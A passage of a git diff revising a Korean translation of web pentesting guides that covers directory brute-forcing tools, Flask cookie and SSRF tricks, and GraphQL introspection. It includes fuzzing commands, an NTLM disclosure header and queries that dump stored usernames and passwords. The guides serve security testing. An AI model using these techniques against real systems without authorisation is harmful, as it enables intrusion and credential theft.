[**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다. - [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다. ### 디렉토리 및 파일에 대한 무차별 대입 -루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든 디렉토리**를 무차별 대입해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 무차별 대입을 **재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\ +루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든 디렉토리**를 무차별 대입해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 무차별 대입은 **재귀적으로** 수행할 수 있으며, 사용된 단어 목록의 시작 부분에 발견된 디렉토리의 이름을 추가할 수 있습니다).\ 도구: - **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다. @@ -240,15 +240,15 @@ SSL/TLS 취약점에 대한 정보: - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): 이는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복" URL을 삭제하는 도구입니다. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하는 Burp 확장입니다. +- [**uro**](https://github.com/s0md3v/uro) (python): 이 도구는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제합니다. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하기 위한 Burp 확장. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(기반 js 가져오기). - [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다. **추천 사전:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) -- [**Dirsearch** 포함된 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +- [**Dirsearch** 포함 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [Assetnote 단어 목록](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) @@ -269,56 +269,56 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견 ### 발견된 각 파일에서 확인할 사항 - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계가 발생할 수 있는 HTML 내의 끊어진 링크를 찾습니다. -- **파일 백업**: 모든 파일을 찾은 후 실행 가능한 모든 파일의 백업을 찾습니다("_.php_", "_.aspx_"...). 백업 파일의 일반적인 명명 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 또한 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**를 사용할 수 있습니다.** -- **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.** +- **파일 백업**: 모든 파일을 찾은 후 실행 파일의 백업을 찾습니다("_.php_", "_.aspx_"...). 백업 파일의 일반적인 명명 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**을 사용할 수 있습니다.** +- **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.** - _Arjun 모든 기본 단어 목록:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다. -- **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다. +- **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 있는 주석에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다. - **API 키**: **API 키**를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google API 키: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik와 같은 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다. -- **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우 [**버킷의 **권한**을 **확인**하십시오](buckets/). +- **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우 [**버킷의 권한을 확인하십시오**](buckets/index.html). ### 특별 발견 -**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **것들**을 **주목해야** 합니다. +**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **사항**을 **주목**해야 할 수 있습니다. **흥미로운 파일** - **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다. - [**.git**_ 파일을 찾으면 일부 정보를 추출할 수 있습니다](git.md) - **.env**를 찾으면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다. -- **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼 보일" 것입니다. -- **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링하는 것이 흥미로울 것입니다**. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.** +- **API 엔드포인트**를 찾으면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼" 보일 것입니다. +- **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.** - 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다. - **Javascript Deobfuscator 및 Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) -- **JsFuck 디오브퍼스케이션** (문자와 함께 자바스크립트: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) +- **JsFuck 디오브퍼케이션** (문자와 함께 자바스크립트: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- 여러 경우에 **사용된 정규 표현식**을 **이해해야** 할 필요가 있습니다. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex) -- **양식이 감지된 파일을 모니터링**해야 하며, 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다. +- 여러 경우에 **정규 표현식**을 **이해해야 할 필요가 있습니다**. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex) +- **양식이 감지된 파일을 모니터링**해야 할 수도 있습니다. 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다. -**403 금지/기본 인증/401 권한 없음 (우회)** +**403 Forbidden/Basic Authentication/401 Unauthorized (우회)** {{#ref}} 403-and-401-bypasses.md {{#endref}} -**502 프록시 오류** +**502 Proxy Error** -어떤 페이지가 **그 코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 **SSRF**를 발견하게 됩니다. +어떤 페이지가 **그 코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다. **NTLM 인증 - 정보 공개** -인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 공개**를 유도할 수 있습니다.\ -**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 내부 정보(IIS 버전, Windows 버전...)를 "WWW-Authenticate" 헤더 내에 응답할 것입니다.\ -이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 **자동화**할 수 있습니다. +인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 찾으면 **정보 공개**를 유도할 수 있습니다.\ +**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\ +이 작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다. **HTTP 리디렉션 (CTF)** -**리디렉션** 내에 **내용**을 **넣는 것이 가능합니다**. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 그러나 그 안에 **숨겨진** 것이 있을 수 있습니다. +**리디렉션** 내에 **내용**을 **넣는 것이 가능합니다**. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 하지만 그 안에 **숨겨진** 것이 있을 수 있습니다. ### 웹 취약점 확인 diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 51ced5e60..8906e74fc 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**아마도 CTF를 진행 중이라면 Flask 애플리케이션은** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**와 관련이 있을 것입니다.** +**아마도 CTF를 진행하고 있다면 Flask 애플리케이션은** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**와 관련이 있을 것입니다.** ## Cookies @@ -22,7 +22,7 @@ echo "ImhlbGxvIg" | base64 -d ### **Flask-Unsign** -Flask 애플리케이션의 세션 쿠키를 가져오고, 디코드하고, 무차별 대입 공격을 하며, 비밀 키를 추측하여 제작하는 명령줄 도구입니다. +Flask 애플리케이션의 세션 쿠키를 가져오고, 디코드하고, 무차별 대입 공격을 수행하며, 비밀 키를 추측하여 제작하는 명령줄 도구입니다. {{#ref}} https://pypi.org/project/flask-unsign/ @@ -58,9 +58,9 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p ``` ### Flask 세션 쿠키에서 SQLi와 SQLmap -[**이 예제**](../../pentesting-web/sql-injection/sqlmap/index.html#eval)는 sqlmap `eval` 옵션을 사용하여 **알려진 비밀을 사용하여 flask에 대한 sqlmap 페이로드를 자동으로 서명하는** 방법을 보여줍니다. +[**이 예제**](../../pentesting-web/sql-injection/sqlmap/index.html#eval)는 sqlmap `eval` 옵션을 사용하여 **Flask에 대한 sqlmap 페이로드를 자동으로 서명**하는 방법을 보여줍니다. -## SSRF를 위한 Flask 프록시 +## Flask 프록시를 통한 SSRF [**이 글**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)에서는 Flask가 "@" 문자로 시작하는 요청을 허용하는 방법을 설명합니다. ```http diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 7209cb73e..e9f6e8b2f 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,15 +4,15 @@ ## Introduction -GraphQL은 **효율적인 대안**으로 **REST API**에 주목받고 있으며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. +GraphQL은 **효율적인 대안**으로 **강조**되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다. -## GraphQL과 보안 +## GraphQL and Security -GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 것입니다. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다. +GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다**. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면, GraphQL 엔드포인트는 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다. -### 디렉토리 브루트 포스 공격과 GraphQL +### Directory Brute Force Attacks and GraphQL -노출된 GraphQL 인스턴스를 식별하기 위해 디렉토리 브루트 포스 공격에 특정 경로를 포함하는 것이 권장됩니다. 이러한 경로는 다음과 같습니다: +노출된 GraphQL 인스턴스를 식별하기 위해, 디렉토리 브루트 포스 공격에 특정 경로를 포함하는 것이 권장됩니다. 이러한 경로는 다음과 같습니다: - `/graphql` - `/graphiql` @@ -25,13 +25,13 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취 열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) -### 지문 인식 +### Fingerprint 도구 [**graphw00f**](https://github.com/dolevf/graphw00f)는 서버에서 사용되는 GraphQL 엔진을 감지하고 보안 감사자를 위한 유용한 정보를 출력할 수 있습니다. -#### 유니버설 쿼리 +#### Universal queries -URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다. +URL이 GraphQL 서비스인지 확인하기 위해, **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면, 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다. ```javascript query{__typename} ``` @@ -51,7 +51,7 @@ query={__schema{types{name,fields{name}}}} ```bash query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} ``` -이 쿼리를 사용하면 모든 유형, 해당 필드 및 인수(및 인수의 유형)를 추출할 수 있습니다. 이는 데이터베이스를 쿼리하는 방법을 아는 데 매우 유용할 것입니다. +이 쿼리를 사용하면 모든 타입, 필드 및 인수(인수의 타입)를 추출할 수 있습니다. 이는 데이터베이스를 쿼리하는 방법을 아는 데 매우 유용할 것입니다. ![](<../../images/image (950).png>) @@ -162,7 +162,7 @@ name ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형...) +마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형 등...) ![](<../../images/image (363).png>) @@ -172,11 +172,11 @@ name 이제 데이터베이스에 어떤 종류의 정보가 저장되어 있는지 알았으니, **값을 추출해 보겠습니다**. -인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"은 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나는 "_flags_"로, 이것도 객체 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다. +인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"이 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나가 "_flags_"라는 것을 볼 수 있습니다. 이 또한 객체의 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) -쿼리 "_flags_"의 유형이 "_Flags_"임을 주목하세요. 이 객체는 아래와 같이 정의됩니다: +쿼리 "_flags_"의 유형이 "_Flags_"임에 유의하세요. 이 객체는 아래와 같이 정의됩니다: ![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>) @@ -184,7 +184,7 @@ name ```javascript query={flags{name, value}} ``` -다음 예제와 같이 **query할 객체**가 **string**과 같은 **원시** **타입**인 경우 +다음 예제와 같이 **query할 객체**가 **primitive** **type**인 **string**인 경우 ![](<../../images/image (958).png>) @@ -193,7 +193,7 @@ query={flags{name, value}} query = { hiddenFlags } ``` 다른 예에서 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\ -이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 요청하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: +이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하는 것만으로도 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다: ![](<../../images/image (880).png>) @@ -215,11 +215,11 @@ query = { hiddenFlags } ![](<../../images/image (707).png>) -그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있다는 것을 발견했습니다. +그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_"라는 필드를 가지고 있다는 것을 발견했습니다. **쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)** -문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_). +문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터**를 **덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**theusers**"를 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정합니다_). ### 검색 @@ -248,7 +248,7 @@ name } } ``` -`subscribedMovies`의 `name`을 가져오는 방법에 유의하세요. +`name`의 `subscribedMovies`를 가져오는 방법이 표시되어 있습니다. 여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다: ```javascript @@ -281,17 +281,17 @@ name } } ``` -### Mutations +### 변형 -**변경은 서버 측에서 변경을 수행하는 데 사용됩니다.** +**변형은 서버 측에서 변경을 수행하는 데 사용됩니다.** -**내부 탐색**에서 **선언된** **변경**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변경의 이름(이 경우 "_addPerson_")을 포함합니다: +**내부 탐색**에서 **선언된** **변형**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변형의 이름(이 경우 "_addPerson_")을 포함합니다: ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) 이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수도 있습니다. -데이터베이스 내에서 **새로운** 영화를 **생성하는** 변경은 다음과 같을 수 있습니다(이 예에서 변경은 `addMovie`라고 불립니다): +데이터베이스 내에서 **새로운** 영화를 **생성하는** 변형은 다음과 같을 수 있습니다(이 예에서 변형은 `addMovie`라고 합니다): ```javascript mutation { addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { @@ -353,7 +353,7 @@ GraphQL API를 통해 **다양한 자격 증명을 가진 많은 쿼리를 동 점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다. -게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰하고** **각 새로운 쿼리를 통해** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 GraphQL API 요청을 관찰하고** **각 새로운 쿼리와 함께** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기에서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). 멋진 **단어 목록**은 [**GraphQL 엔티티를 발견하는 데 사용할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?). @@ -371,7 +371,7 @@ API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schem ### WebSockets 시도 -[**이 